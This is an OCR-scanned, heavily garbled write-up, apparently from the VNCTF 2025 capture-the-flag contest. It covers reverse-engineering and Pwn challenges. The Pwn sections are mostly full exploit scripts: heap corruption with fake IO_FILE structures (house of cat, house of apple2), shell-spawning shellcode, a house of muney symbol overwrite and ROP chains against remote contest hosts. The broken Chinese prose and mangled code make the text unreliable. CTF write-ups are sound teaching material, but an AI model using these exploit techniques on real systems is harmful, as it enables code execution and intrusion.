4 byte 18600E220 = v24 + v24 / 255;
5 v25 = rand();
6 byte_18000E228 = v25 + v25 / 255;
7 v26 = rand();
'8 byte_18000E230 = v26 + v26 / 255;
19 v27 = rand();
16 byte 18000E232 = v27 + v27 / 255;
11 v28 = rand();
12 byte 18000E240 = v28 + v28 [/ 255;
13 v29 = rand();
14 byte_18000E244 = v29 + v29 / 255;
5  v38 = rand();
6 byte 18000E960 = v36 + v38 / 255;
)7 v31l = rand();
8 byte_18000E962
19 v32 = rand();
©  byte_18000E970

‘1 return 6LL;
17 1

B ERELE —REHEZ AR,

Vie + vlbe J 255;

V20 + v20 / 255;

v22 + v22 [/ 255;

v31l + v31 / 255;

V32 + v32 / 255;



EJHSIEEH 7t exe AU AMMNE dl I REFEHLSNMB—INEBTNER, EERETROHY
REHIRE T — MR,

exe:

I Sy e 11

short loc_140001094

; CODE XREF:

rax
cs:IsDebuggerPresent
eax, 0

short loc_1400010A8
ecx, ecx ; Code
cs:__imp_exit

sub_140¢

M L L L L L R L L L L L L LT
2

; CODE XREF:

rax, rsi
rsp, 28h
rsi

o b

rax, 12h
short loc_18600166F

sub_146x

@LOBF ; === === m e

; CODE XREF: sub_180001000+6CT]

rax
[rbp+1@h+StartupInfo.cb], 68h ; 'h’

rcx, [rbp+18h+StartupInfo] ; lpStartupInfo

cs:GetStartupInfol
[rbp+1@h+StartupInfo.dwFlags], 1
short loc_l1800010A6

rcx, [rbp+leh+var_8]

rcx, rbp ; StackCookie
rcx, ¢s:__security_cookie

short loc_l8e0eeleAe

rsp, 9enh

rbp

@LOAB ; - === == e e

h.lll'.ll'
jz
retn
3
loc_140001094:
pop
call
cmp
jz
xor
call
loc_1400010A8:
movw
add
pop
DIl
01068 cmp
e1esC jz
©106E retn
@106F
0106F loc_18@00106F:
@106F pop
ele7e mov
01077 lea
ele7B call
el1es81 cmp
01085 jnz
e1e87 mov
©1e8B xor
©108E cmp
©1e95 jnz
01097 add
0109E pop
©1e9F retn
010A0
@1eAe loc 18eeelele:
RETULEXRE, HANINE

A*T\/& aes-ecb 7]11 =B N
W—FEIRNE, ERPY R, X key #HfrRENEE. MRAEFNRE, W
%ﬁﬁmmm MRANEFEHRE, WESKEPHRH 017,

. CODE XREF: sub 186001000+95T7

B, FPERFREABEEZRIMET,

XEHLEE—



CurrentProcess = GetCerentProcess();
CheckRemoteDebuggerPresent(CurrentProcess, &pbDebuggerPresent);
if ( pbDebuggerPresent )

{

v131l = v5;
v132 = v4;
v133 = v3;
v134 = v9;
vliz24 = v2;
vll = v8;

v135 = v7;
v136 = v6;
vli2 = v126;
v1l3 = v125;
vlid = v127;

LOWORD(v147) = 7481;

*¥*Str = 9643280631;

for ( 1 = OLL; strlen(Str) > i; ++i )
Str[i] ~= ex17u;

sub_l8eeeleBe("%s", str);

vlie = vl14;
v1l7 = v138;
v1i8 = vl12;
v19 = vl136;
v2e = v128;
v21l = v135;
v22 = vll;
v23 = v124;
v24 = v134;
v25 = v133;
v2e = v132;
v27 = v131;
by
else
{
viz24 = v2 ™ exl7;
v28 = v3 ~ exl7;
v29 = v4 ™ exl7;
v27 = vs ~ exl7;

w21 = w7 N @Av17T>-
EWEEEBNIEE, BAMABEREREHT .
B IREUERRAY key:

Python

srand(114514);

for (int i = 0; i < 16; i++) {
key[i] = @x17”(rand()%@xff);
if (key[i] < 16) printf("e");
printf("%x", key[i]);

RIEEREX, #417 aes-ech %



Python
from Crypto.Cipher import AES
import binascii

hex_key = "09e5fdeb683175b6b13b840891eb78d2"
hex_ciphertext =
"3d011c190bav90815f672731a892a47497362167ab2eb4a09418d37d93e646e7"

key = binascii.unhexlify(hex_key)
ciphertext = binascii.unhexlify(hex_ciphertext)

cipher = AES.new(key, AES.MODE_ECB)

decrypted = cipher.decrypt(ciphertext)
print(decrypted)

#b"VNCTF{WOw_u_ g0t Fuk@'s st4rflsh}"

Pwn

KIBFIX
BEETHESRENEMERSEOREES, BREEH hint HETTUETL—
AR B+

I3 B2 55 1 R

C

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#tdefine MAXMAX 9999
#tdefine MINMIN 1

// version -> mitahome
struct MiTaHome{
char mitaname[24];



char mitaid[8];
struct MiTaHome* next;
char* note;

}s

struct Version{
char vername[32];
struct MiTaHome* mitatop;
struct Version* next;

s

struct Pack{
char buftemp[0x540];
struct MiTaHome* nowhome;
struct Version* nowver;

s

char name[0x200];

struct Version* ver; //top

void VN _Print();

void init();

void Version_Init();

struct Version* Version_ Find(char* name);

void Version_Drow(struct Version* nowver);

void MiTaHome Delete(struct Version* nowver,struct MiTaHome*
nowhome) ;

void init()

{
setvbuf(stdin, eLL, 2, OLL);
setvbuf(stderr, OLL, 2, OLL);
setvbuf(stdout, oLL, 2, OLL);
return;

¥

void VN_Print()
{

char temp[]={"You were turned into a cassette by Mita, you
were ruthless, one day you were inserted into the machine, you got
the commissioning permission of the machine, can you turn the
situation around?\nIt's the final stage of the game, and in order



to eradicate the bugs in the game you'll need to debug the game,
enter some commands, try to find the backdoor...\nPlease input
your name:\n"};

write(1," _
\n",83);

weite(1," / ___  )C _ )/ _— ) _— \\|[\\
/1 ( /1C _— \\_  _/C ____ \\\n",83);__
_oweite(,"™\\/ ) [ C ) I\ o) I C W) I
\N\ ]« \\/ ) ( | ( \\/\n",83);
_oweite,” /) L/ 7 ) —— LTI \W
| 11| I | ( \n",83);

weite(1," _/ /| (/) /7 /7 (___\\N(CC ))]
CA\\VA) ] 1 | ) \n",83);
— write(1," /  _/ | VA I A ) ) \\
N\ /7 1IN ] I ¢ \n",83);__
L write(1," (_/\\I () ¢ (/AN\N\N\)Y) N\ /7 |)
A\ I I CAN N B R \n",83);

write(1,"\\/()\\/\\/ \\/ |/ )_) (L /)_( |/
\n",83);

write(1,temp,sizeof(temp));
}
void Version_Init(struct Version** nowver,struct MiTaHome**
nowhome)
{

char temp[16]={"v.0"};
ver=malloc(sizeof(struct Version));
ver->next=NULL;
ver->mitatop=malloc(sizeof(struct MiTaHome));
ver->mitatop->note=NULL;
ver->mitatop->next=NULL;
strcpy(ver->vername,temp);
strcpy(ver->mitatop->mitaname, "test");
strcpy(ver->mitatop->mitaid,"1");
*nowver=ver;

*nowhome=ver->mitatop;

struct Version* Version_Find(char* name)
{
struct Version* tempver;
tempver=ver;
while(tempver!=NULL){
if(!strcmp(tempver->vername,name)){



return tempver;
}else{
tempver=tempver->next;

}

return 0;

struct MiTaHome* MiTaHome_Find(struct Version* nowver,char* name)
{
struct MiTaHome* temphome;
temphome=nowver->mitatop;
while(temphome!=NULL){
if(!strcmp(temphome->mitaname,name)){
return temphome;
}else{
temphome=temphome->next;

return 0;

void Version_Drow(struct Version* nowver)
{
struct Version* tempver;
struct MiTaHome* temphome;
struct MiTaHome* nexthome;
/I RAERE R
if(ver==nowver){
ver=ver->next;
drow_version_mitahome:
temphome=nowver->mitatop;
while(temphome){
free(temphome->note);
nexthome=temphome->next; free(temphome);
temphome=nexthome;

}

free(nowver);

}

else if(nowver->next==NULL){
/ /B S E R R AERER
tempver=ver;
while(tempver->next){



if(tempver->next==nowver){
tempver->next=nowver->next;
goto drow_version_mitahome;

}
else{
tempver=tempver->next;
}
¥
¥
}
void MiTaHome_Delete(struct Version* nowver,struct MiTaHome*
nowhome)
{
struct MiTaHome* temphome;
temphome=nowver->mitatop;
if(nowver->mitatop==nowhome){
nowver->mitatop=nowhome->next;
free(nowhome) ;
}
else{
while(temphome->next){
if(temphome->next==nowhome){
temphome->next=nowhome->next;
free(nowhome->note);
free(nowhome) ;
}
else{
temphome=temphome->next;
}
¥
}
¥

int main(int argc, char **argv)

int ret=1;

int count=114514;
struct Pack pack;
pack.nowhome=NULL;
pack.nowver=NULL;
char* back=NULL;
char* temp=NULL;
char* homeid=NULL;
init();



printf("%d",count);

count++;

VN_Print();

Version_Init(&pack.nowver,&pack.nowhome);

read(0, name,0x200) ;

puts("Input your command");
while(1){
printf("%d",count);

count++;

printf(">>> ");

scanf("%s",pack.buftemp);

back=strtok(pack.buftemp,"$");// WL EIKII, RIS FEAF S I
FR AR5 3 g i

if(back&&pack.buftemp&&(strlen(back) -
strlen(pack.buftemp))){

/175y FI R e e a4

>mitaname);

temp=strtok(back,"-");

temp=strtok (NULL,"-");

if(!strcmp(back, "choose™)){
pack.nowver=Version_Find(temp);

}

else if(!strcmp(back, "drow")){
Version_Drow(pack.nowver);
pack.nowver=NULL;

}
else if(!strcmp(back, "show")){

printf("Name: %s\n",name);
printf("Now Version: %s\n",pack.nowver->vername);
printf("Now MiTaHome: %s\n",pack.nowhome-

printf("Now MiTaID: %s\n",pack.nowhome->mitaid);

}
else if(!strcmp(back, "delete")){

MiTaHome Delete(pack.nowver,pack.nowhome);
pack.nowhome=NULL;

}
else if(!strcmp(back, "goto")){

pack.nowhome=MiTaHome_Find(pack.nowver,temp);



}

else if(!strcmp(back, "name")){
puts("Input your new name:");
read (9, name, 0x200) ;

}

else if(!strcmp(back,"exit")){
puts("Player out! :(");
exit(-1);

}

else{
back=strtok(pack.buftemp,":");
back=strtok (NULL,":");
if(back&&pack.buftemp&&(strlen(back) -
strlen(pack.buftemp)))
{/ /B =ML EIkT), GlEE 4
/ /B 252 version
if(!strcmp(pack.buftemp, "version")){
/ /I RERIHEN version CLAAFAE
if(Version_Find(back)){
pack.nowver=Version_Find(back);
}
else{//WHREH, MEQIEHM
ver=malloc(sizeof(struct Version));
ver->next=NULL;
ver->mitatop=malloc(sizeof(struct
MiTaHome));
strncpy(ver->vername,back,31);

}
else{//fIZK & mitahome, ZHH id
homeid=strtok(pack.buftemp,"");
homeid=strtok (NULL,"_");
if(strlen(homeid)>8||strlen(pack.buftemp)>24){
puts("Name too long!:(");
continue;

}
if(MiTaHome_Find(pack.nowver,pack.buftemp)){

pack.nowhome=MiTaHome_ Find(pack.nowver,pack.buftemp);
if(strlen(back)>strlen(pack.nowhome-
>note) ){
free(pack.nowhome->note);



pack.nowhome-

>note=malloc(strlen(back));

strncpy(pack.nowhome-

>note, back, strlen(back));

MiTaHome));

}

puts("");

}

ret=0;

exit(ret);

}

FTRBR K BAVEE

Python

struct MiTaHome{
char mitaname[24];
char mitaid[8];

}else{
strcpy(pack.nowhome->note,back);

else{

struct MiTaHome* temp;

temp = pack.nowver->mitatop;

while(temp->next){
temp=temp->next;

}

temp->next=malloc(sizeof(struct

temp=temp->next;

strncpy(temp->mitaid, homeid,8);
strncpy(temp->mitaname,pack.buftemp,8);
temp->note=malloc(strlen(back));
temp->next=NULL;
strncpy(temp->note,back, strlen(back));

puts("Invalid command!");
exit(ret);

struct MiTaHome* next;

char* note;



}s

struct Version{
char vername[32];
struct MiTaHome* mitatop;
struct Version* next;

}s

struct Pack{
char buftemp[0x540];
struct MiTaHome* nowhome;
struct Version* nowver;

};

Nt £ T —A Pack 5484k, mIAIAYE A =7 Pack->buftemp
ERE scanf ®E, REZEEEHEL . FEHASEHWX00 Fikf
BAERMNBESCMERI, T 2HEHIsER libc HUHRER.

Rt o] Ak Y B T 78 25 buftemp JR T BY454 {4 F5 5t pack->nowhome JiEE U Hitth
i_”:o

RIMSF LI5S BRIEEZ U pack->nowhome,pack->nowver Ax5, EMit/E,
FAMT U EH#THE, MERAERIES MR,

XEmITE A house of cat

Python
from pwn import *
context(log level="debug",arch="amd64")
#tp=process("./bin/vuln")
p=remote("127.0.0.1",8888)
def version(name,pay):

p.recvuntil(">>> ")

p.sendline(name+":"+pay)

def mita(name,idd,pay):
p.recvuntil(">>> ")
p.sendline(name+" "+idd+":"+pay)

def bmita(name,idd,pay):
p.recvuntil(">>> ")

p.sendline(name+b"_"+idd+b":"+pay)

def choose(ver):
p.recvuntil(">>> ")



p.sendline("$choose"+"-"+"version")

def goto(home):
p.recvuntil(">>> ")

p.sendline("$goto"+"-"+home)

def cmd(qwq):
p.recvuntil(">>> ")
p.sendline("$"+qwq)

def show():
cmd ("show")

def free():
cmd("delete")

def namefunc(pay):

cmd("name")

p.sendline(pay)
#tgdb.attach(p,"b * IO wfile overflow")
name=b"xswlhhh\x00"#+b'a'*0x10+p64(0x114514)+p64 (0xdeadbeef)+p64(0
x19198100)
p.sendline(name)

pay="a'*(0x50)
mita(llqwq II, "09") pay)

pay="b'*(0x60)

mita("qwql","01",pay)

goto("qwql")
free()

pay="c'*(0x10)
mita("qwqg2","02",pay)
pay="d'*(0x10)
mita("qwqg3","03",pay)

goto("qwqg3")

#tpause()
pay="'0"'*0x538
mita("qwgd","99",pay)

cmd ("show")



p.recvuntil("Now MiTaHome: ")
heap_addr=u64(p.recv(3)[-3:].1just(8,b'\x00"'))
print("heap_ Addr:",hex(heap_addr))
heapbase=heap_addr<<12
print("heapbase:",hex(heapbase))
heapver=heapbase+0x6b0-0x410

goto("qwgd")
pay="e'*0x500
mita("qwg5","99",pay)

pay="'f'*0x10

mita("qwg6","99",pay)

goto("qwg5")

free()

#cmd ("show™)

#tfree()
print("heapbase:",hex(heapbase))
pay=b'1'*@x538+p32(heapbase+0xaa0)
bmita(b"qwqg7",b"99", pay)
print("heapbase:",hex(heapbase))
show()
print("heapbase:",hex(heapbase))
p.recvuntil("Now MiTaID: ")
libcaddr=u64(p.recv(6)[-6:].1just(8,b'\x00"))
print("libcaddr:",hex(libcaddr))

iolist=1ibcaddr+0x570
libcbase=10l1ist-0x21b680
pop_rdi=libcbase+0@x2a3e5
pop_rsi=libcbase+0x02be51
pop_rdx_rcx=libcbase+0x0904a9
pop_rax=1libcbase+0x45eb0o
syscall=1ibcbase+0x91316
system=1ibcbase+0x050d70
bin_sh=1ibcbase+0x1d8678
environ=1libcbase+0x222200

setcontext =1ibcbase+0x00000000539¢0
I0 wfile jumps=1ibcbase+0x000002170c0

pay=b'1'*@x538+p64(environ)+p64(heapver)



bmita(b"qwg8",b"99",pay)

show()

p.recvuntil("Now MiTaHome: ")
stack_addr=u64(p.recv(6)[-6:].1just(8,b"'\x00"))
print("stack_addr:",hex(stack_addr))
stderr=10l1ist+0x20

nameaddr=0x4040e0

stack=stack_addr
stack_off=0x7ffdcc56fd08-0x7ffdcc56f670
fakeio=stack-stack_off

payload=b'version\x00' *4+p64(nameaddr+0x30)+p64(0x0)
payload+=b'mita\x00\x00\x00\x00 "' *4+p64(0x0)+p64(iolist)
namefunc (payload)
pay=b'1'*0x538+p64(nameaddr+0x30)+p64(nameaddr)
bmita(b"qwg9",b"99",pay)

note=nameaddr
pay=b'1'*2+p32(note)
bmita(b"mita",b"99",pay)
pay=b'1'+p32(note)
bmita(b"mita",b"99",pay)
pay=p32(note)
bmita(b"mita",b"99",pay)

#pay=b'1"'*0x538+p64(nameaddr+0x30)+p64(nameaddr)

_I0_1ist all=iolist

fake_file_addr=note

fake_io_addr=note

next_chain = ©

fake_io addr=note

fd=1ibcaddr+ox430

libc_base=1libcbase

system = 0x50d70 + libc_base

fake IO FILE=b' sh;\x00\x00\x00"

fake IO FILE = fake_IO FILE.ljust(@x68, b'\x00')
fake IO _FILE += p64(system)

fake IO FILE = fake IO FILE.ljust(oxa@, b'\xe0")
fake IO FILE += p64(note+0xbo)

fake I0 FILE = fake IO FILE.ljust(@xbe+0x18, b'\xee')
fake IO FILE += p64(0)

fake IO FILE = fake IO FILE.ljust(@xd8, b'\xe0')

+

+

+



fake_IO_FILE += p64(I0_wfile_jumps+0x20)

fake IO _FILE = fake_ IO FILE.ljust(0xb0+0x30, b'\xe0"')
fake_IO _FILE +=p64(0)

fake_IO_FILE = fake_IO_FILE.ljust(@xbo+0xe@, b'\x00')
fake IO FILE += p64(note)

+

next_chain = 0

fake_io addr=note

fake_IO_FILE=b'/bin/sh\xe0' # flags=rdi

fake IO FILE+=p64(0)*7

fake IO FILE +=p64(1)+p64(2) # rcx!=0(FSOP)

fake IO FILE +=p64(fake_io addr+0xbe)# IO backup_base=rdx
fake_IO_FILE +=p64(system)# IO _save_end=call addr(call
setcontext/system)

fake IO FILE = fake IO FILE.ljust(ex68, b'\x00"')

fake_IO _FILE += p64(0) # _chain

fake IO FILE = fake IO FILE.ljust(ox88, b'\x@0")

fake I0 FILE += p64(heapbase+0x1000-0x410) # lock = a writable
address
fake IO FILE
fake IO FILE
fake IO FILE

+

fake IO FILE.ljust(©xa@, b'\x00")
=p64(fake_io_addr+0x30)# wide_data,raxl_addr
fake I0 FILE.ljust(©xc@, b'\x00")

fake_IO FILE += p64(1) #mode=1

fake IO FILE = fake_IO FILE.ljust(@xd8, b'\x00")
fake I0 FILE += p64(I0 _wfile jumps+0x30) #
vtable=I0_wfile_jumps+0x10

fake_ IO FILE +=p64(0)*6

fake_ IO _FILE += p64(fake_io_addr+0x40) # rax2_addr

+

+

#tgdb.attach(p,"b *_ IO wfile_overflow")
namefunc(fake IO FILE)

cmd("exit")
print("libcbase,",hex(libcbase))
##tp.sendline(":")
##p.sendline("invalidcmd™)

p.interactive()

FENEIE

JLUERE S FREBEES, LHEE rsp, TSNS HHIAN, BLIMEERE A
f+4 push 7 pop TSR EREXNEREA, 17 23PFT, FUEERMIE KK



AR, %&BIE rsp, A mov, 1 rsp BEIEHEJEERNAE Y stack g7, ol
EEFER s FF8%, AAAHNKEBK, FFUEASET XEBELAERHM

Python
from pwn import *

context(log_level="debug", arch="amd64", os="linux")
#io = process("./pwn")
io=remote("127.0.0.1",9999)
io.recv()

#tgdb.attach(io, 'b execute\nc')
shellcode=asm("'""'

mov rsp, fs:[0x300]

push rdi

pop rdx

push rdx

pop rsi

pop rdi

add rsi,22

syscall

jmp rsi

)

io.send(shellcode)
print(len(shellcode))
shellcode=asm(shellcraft.sh())
io.send(shellcode)
io.interactive()



W o0 =] o v = w M
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from pwn import=®
context(os="Tlinux', arch="amdé4')
context.log_level = 'debug’
io=remote( 'node.vhnteam.cn',47737)
elf=ELF("'./p")
payload=asm(' "'

mov rsp,rdi;

add rsp,0x50;

mov rsi,rsp;

mov rdx,rdi;

xor rdi,rdi;

syscall

call rsi

)

1o.send(payload)
payload=asm(' "'

nop

mov rax,0x3b;

xor rdi, rdi;

mov rdx, rdi;

push rdx;

mov rdi, Ox68732f6e69622F2f ;
push rdi;

mov rdi, rsp ;

Xor rsi, rsi;

xor rdx, rdx;

syscall

)

print(payload)
i0.sendline(payload)
io.1interactive()



Late Binding

F 5 =2 house of muney,fR%| T malloc #1 free f9>k %, BE:%E 4] malloc fK
N, FRIAET I E#RIEE] libc FH, HRERGER T UERIEERENMNE, BHE
CRETIMBGERIER, EEREER, BWERERITUREERRIFHHER size,
RIETTINIE libc MFFS3k. IR RFHIRAMANMIUIZ Bt BERE. BEX—HFZ(E
LMEIBEk, MEEMERSR. BHK, BATEERTRECIRI AN ER IR SR
BT AR, HhEGREFEHITR. &G onegadget 71T, TASEX—EE
%1 2023ciscn 4P FEX FRFMNEBBE .

https://roderickchan.github.io/zh-cn/2022-06-18-glibcheap-house-of-muney/

Python
from pwn import *

elf = ELF("./pwn™)

libc = ELF("./libc.so.6")

context(log level="debug", arch="amd64", os="linux")

io = process(["/home/gets/pwn/teach/vnctf25/d1l/1d-1inux-x86-
64.s0.2", "./pwn"],

env={"LD_PRELOAD":"/home/gets/pwn/teach/vnctf25/dl/1libc.so0.6"})

def add(index, size):
io.sendlineafter(b"option:", b"1")
io.sendlineafter(b"ID:", str(index).encode())
io.sendlineafter(b"size:", str(size).encode())

def free(index):
io.sendlineafter(b"option:", b"2")
io.sendlineafter(b"remove:", str(index).encode())

def edit(index, offset, content):
io.sendlineafter(b"option:", b"3")
io.sendlineafter(b"update:", str(index).encode())
io.sendlineafter(b"length:", str(offset).encode())
io.sendafter(b"details:", content)

def show(index):
io.sendlineafter(b"option:", b"4")
io.sendlineafter(b"view:", str(index).encode())

def dbg():
gdb.attach(io)



add(0, 0x40000 - 0x2000)

dbg ()

edit(0,-8, p64(0x41002 + Ox5000 + 0Ox4000))
free(0)

add(0, 0x41000 * 2 + 0x4000)

base_off = ox7dffe

one_gadget = [@xe3afe, 0Oxe3b0l, ©xe3bo4][1]
gnu_hash_section = libc.get section_by name('.gnu.hash')
dynsym_section = libc.get _section_by name('.dynsym')
dynstr_section = libc.get_section_by name('.dynstr")

namehash = gnu_hash_section.gnu_hash('exit")

bloom_off = gnu_hash_section['sh_addr'] + 4 *
gnu_hash_section._wordsize

bucket_off = bloom off + gnu_hash_section.params['bloom size'] *
gnu_hash_section._xwordsize

bloom elem_idx = int(namehash /
gnu_hash_section.elffile.elfclass) %
gnu_hash_section.params['bloom size']

bloom_elem_off = bloom_off + bloom_elem_idx *
gnu_hash_section._xwordsize

bloom_elem_val = gnu_hash_section.params['bloom'][bloom elem_ idx]

bucket _elem_idx = namehash % gnu_hash_section.params[ 'nbuckets']
bucket_elem_off = bucket_off + bucket_elem_idx *
gnu_hash_section._wordsize

bucket_elem val =

gnu_hash_section.params[ 'buckets'][bucket_elem_idx]

hasharr_off = gnu_hash_section._chain_pos + (bucket_elem_val -
gnu_hash_section.params['symoffset']) * gnu_hash_section._wordsize
sym_off = dynsym section['sh offset'] + bucket elem val *
dynsym_section[ 'sh_entsize']

sym_value = b"'

sym_value += p32(libc.search(b'exit\x00'). next_ () -
dynstr section['sh _offset']) # st name

sym_value += p8(0x12) # st_info

sym_value += p8(0) # st other

sym_value += pl6(1) # st_shndx

sym_value += p64(one_gadget) # st _value



sym_value += p64(8) # st size
#dbg()

edit(@, base off
edit(@, base off

bloom_elem_off, p64(bloom_elem val))
bucket elem off, p32(bucket elem val))
edit(@, base off + hasharr_off, p32(namehash))

edit(@, base off + sym off, sym value)

#tgdb.attach(io, "b _dl fixup\nc")

+
+
+
+

io.sendlineafter(b"option:", b"5")
io.interactive()

FileSys
MR RXRE—A file EA9EE AKX fout Mg file 51946 uaf
7% 0] £ A punching hole SRR S BINZE

HEEF AT S https://starlabs.sg/blog/2023/07-a-new-method-for-container-
escape-using-file-based-dirtycred/

hexagon

https://c-Iby.top/2025/2025vnctf-hexagon/
BRAEMR:

Python
from pwn import *

# r = process(['gemu-hexagon', '-L', 'libc', '-d',
'in_asm,exec,cpu,nochain’', '-singlestep’,

# '-dfilter', 'Ox20420+0xc@', '-strace', '-D',
"./log', './main'])

r = remote('node.vnteam.cn', 43815)

context(os="1linux', log level='debug')

libc = ELF('./libc.so")

stack = 0x4080e9d8 # FkHhll7E ubuntu22 ] gemu T [ HESAR
libc_base = Ox3FEC0000 # libc it A 4x4s
binsh = 1libc_base+0x119f7

r.recv()
r.sendline(str(binsh).encode())

payload = p32(0)*2 + p32(stack+8)+p32(libc_base+OxBE7C0O)



r.send(payload)

r.interactive()

¥ easy LMy
B RIEEX stack ##1E, TRUERGEY (exp BRYRAM, WiR)
ps. BFEX heap BELFERE, EFthTEBEAXE

Python

#!/usr/bin/env python3
from pwncli import *
import threading
import re

# context.terminal = ["tmux", "splitw", "-h", "-1", "122"]
context.terminal = ["tmux", "new-window"]
local_flag = sys.argv[l] if len(sys.argv) == 2 else ©

'127.0.0.1"

ip = 'node.vnteam.cn'
port = 43492

# port = 9999

io = []

# ip

if local flag == "remote":
gift.io = remote(ip, port)
sla(b'How many threads do you want to create? ', b'l\n')
io.append(gift.io)
gift.remote = True
else:
gift.io = process('./pwnl')
if local _flag == "nodbg":
gift.remote = True
init_x64 context(gift.io, gift)
libc = load 1libc('/1lib/x86 64-1linux-gnu/libc.so0.6")
gift.elf = ELF('./pwnl')

payload =

def add(regl, reg2):
global payload
payload += f"add {str(regl)} {str(reg2)}\n"



def

def

def

def

def

def

def

def

def

def

def

sub(regl, reg2):
global payload
payload += f"sub {str(regl)} {str(reg2)}\n"

mul(regl, reg2):
global payload
payload += f"mul {str(regl)} {str(reg2)}\n"

div(regl, reg2):
global payload
payload += f"div {str(regl)} {str(reg2)}\n"

stack(reg):
global payload
payload += f"stack {str(reg)} {str(reg)}\n"

heap(reg):
global payload
payload += f"heap {str(reg)} {str(reg)}\n"

xor(regl, reg2):
global payload
payload += f"xor {str(regl)} {str(reg2)}\n"

and_(regl, reg2):
global payload
payload += f"and {str(regl)} {str(reg2)}\n"

or_(regl, reg2):
global payload
payload += f"or {str(regl)} {str(reg2)}\n"

not_(reg):
global payload
payload += f"not {str(reg)} {str(reg)}\n"

shl(regl, reg2):
global payload
payload += f"shl {str(regl)} {str(reg2)}\n"

shr(regl, reg2):
global payload
payload += f"shr {str(regl)} {str(reg2)}\n"



def print_(reg):
global payload
payload += f"print {str(reg)} {str(reg)}\n"

def exit ():
global payload
payload += "AveMujica © ©\n"

def input_(reg):
global payload
payload += f"input {str(reg)} {str(reg)}\n"

def input_code(p, code):

p.recvuntil('Input your Code (end with EOF):

code += 'EOF'

code = code.split('\n")

for i in code:
p.sendline(i)
sleep(0.06)

for _ in range(2):
io.append(remote(ip, port))

stack(9)

input_code(io[1], payload)
payload = ""

stack(1)

input_code(io[2], payload)

log ex("Stack overflow")
io[1].recvuntil(b'Stack operate: ")
io[2].recvuntil(b'Stack operate: ")
sleep(1)

io[1].sendline(b'pop")
io[2].sendline(b'pop")

sleep(1)

log_ex("Make heap vector expand")
heap _count = 0

payload = ""

for _ in range(0x10):



heap (9)
for _ in range(5):
p2 = remote(ip, port)
input_code(p2, payload)
while True:
try:
res = p2.recv(timeout=3)
except:
break
print(res)
if b'Heap operate:
break
p2.sendline(b'alloc"')
p2.recvuntil(b'Size: ')
p2.sendline(b'16")
heap_count += 1
p2.close()
sleep(1)
log_ex(f"heap_count: {heap_count}")

not in res:

# context.log level = 'error'
log ex("Make stack overflow to heap vector")
for i in range(3):
io[i].close()
top_index = 129
target_index = 0x294
payload = ""
for _ in range(0x294):
stack(0)
for _ in range(l):
pl = remote(ip, port)
input_code(pl, payload)
while True:
if top_index >= target_index:

break
try:
res = pl.recv(timeout=3)
except:
break
print(res)
if b'Stack operate: ' not in res:
break

pl.sendline(b'pop")
top_index += 1



pl.close()
log ex(f"top_index: {top_index}")
sleep(1)

log _ex("Leak libc and heap")

io5 = remote(ip, port)

payload = ""

heap(9)

input_(0)

heap(0)

io.append(remote(ip, port))

input_code(io5, payload)

io5.recvuntil(b'Heap operate: ')
io5.sendline(b'print")
io5.recvuntil(b'Content: ')

libc_base = u64_ex(io5.recvuntil(b'\x7f"')[-6:]) - ©Ox21ACE®
set_current_libc_base_and_log(libc_base)
io5.recvuntil(b'Input rego: ')
io5.sendline(b'8")

io5.recvuntil(b'Heap operate: ")
io5.sendline(b'print')
io5.recvuntil(b'Content: ')

heap_base = (u64_ex(io5.recv(5)) - 0x13) << 12
log_heap_base_addr(heap_base)

context.log level = 'debug'

log ex("Write fake addree to heap vector™")
heap_vector = heap_base + 0x14FB@

io6 = remote(ip, port)

payload = ""

stack(0)

stack(9)

print_(0)

stack(9)

stack(9)

input_code(io6, payload)
io6.recvuntil(b'Stack operate: ')
io6.sendline(b'pop')

io6.recvuntil(b'Stack operate: ')
io6.sendline(b'pop')

io6.recvuntil(b'reg: ")

heapl = int(io6.recvline().strip(b'\n'), 16)
offset = {Ox133E0Q: 0, 0x13420: 1, 0x13400: 2, 0x13440: 3, 0x12C70:
4, 0x12C99: 5}



log_address_ex2(heapl)

log _ex(f"offset: {offset}")

offset = offset[heapl - heap_base]
log_ex(f"offset_idx: {offset}")
io6.recvuntil(b'Stack operate: ')
io6.sendline(b'pop')

io5.close()
io6.close()

log_ex("House of apple2 and stack pivoting")
io7 = remote(ip, port)
payload = ""

sub(1, 2)

sub(1, 2)

input_(9)

input_(1)

input_(2)

stack(1)

stack(0)

heap(2)

heap(3)

input_(3)

heap(3)

exit ()

input_code(io7, payload)

payload71 = p64_ex(libc.sym._I0_list_all) + p64_ex(0x8) +
p64_ex(heap_base + 0x10000) + p64_ex(0x500)
io7.recvuntil(b'Input rego: ')
io7.sendline(str(heap_vector))
io7.recvuntil(b'Input regl: ')
io7.sendline(str(len(payload71)))
io7.recvuntil(b'Input reg2: ')
io7.sendline(str(offset))
io7.recvuntil(b'Stack operate: ')
io7.sendline(b'push')

io7.recvuntil(b'Stack operate: ')
io7.sendline(b'push')

io7.recvuntil(b'Heap operate: ')
io7.sendline(b'input')
io7.recvuntil(b'Input: ')
io7.send(payload71)

io7.recvuntil(b'Heap operate: ")



io7.sendline(b'input’)
io7.recvuntil(b'Input: ")
io7.send(p64 _ex(heap_base + 0x10000))
io7.recvuntil(b'Input reg3: ')
io7.sendline(str(1))
io7.recvuntil(b'Heap operate: ')
io7.sendline(b'input’)
io7.recvuntil(b'Input: ')

# pause()

cnd = £
b pwnl.cpp:187
b *{hex(CG.pop_rbp_ret())}
C
launch_gdb(cmd)
fake IO FILE = heap_base + 0x10000
io_file = IO_FILE_plus_struct()
CG.set_find_area(False, True)
payload72 =
io_file.house_of_apple2_stack_pivoting when_exit(fake_IO FILE,
libc.sym. I0 wfile jumps, CG.leave ret(), CG.pop_rbp ret(),
fake IO FILE + OxE@ - 0x8)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
payload72 += flat([rdi, heap _base, rsi, 0x20000, rdx_rbx, 7, 0,
libc.sym.mprotect, fake IO _FILE + 0x48 + OxEQ])
# shellcode = shellcraft.open('/flag') + shellcraft.sendfile(7, 9,
0, 0x100) + shellcraft.sendfile(7, OxA, O, 0x100)
shellcode = (
shellcraft.open('/flag')
+ shellcraft.read(9, heap_base, 0x100)
+ shellcraft.read(10, heap_base, 0x100)
+ shellcraft.write(7, heap_base, 0x100)
+ shellcraft.write(8, heap_base, 0x100)
)
payload72 += asm(shellcode)
io7.send(payload72)
io7.interactive()



Crypto

33k RC4

HRREIY sbox WL TMKEER, FENERARBENRAE - . KBEN2FZ
PNFERTG, FENBRRMRASEIR—FF, AR L DURET MT19937,
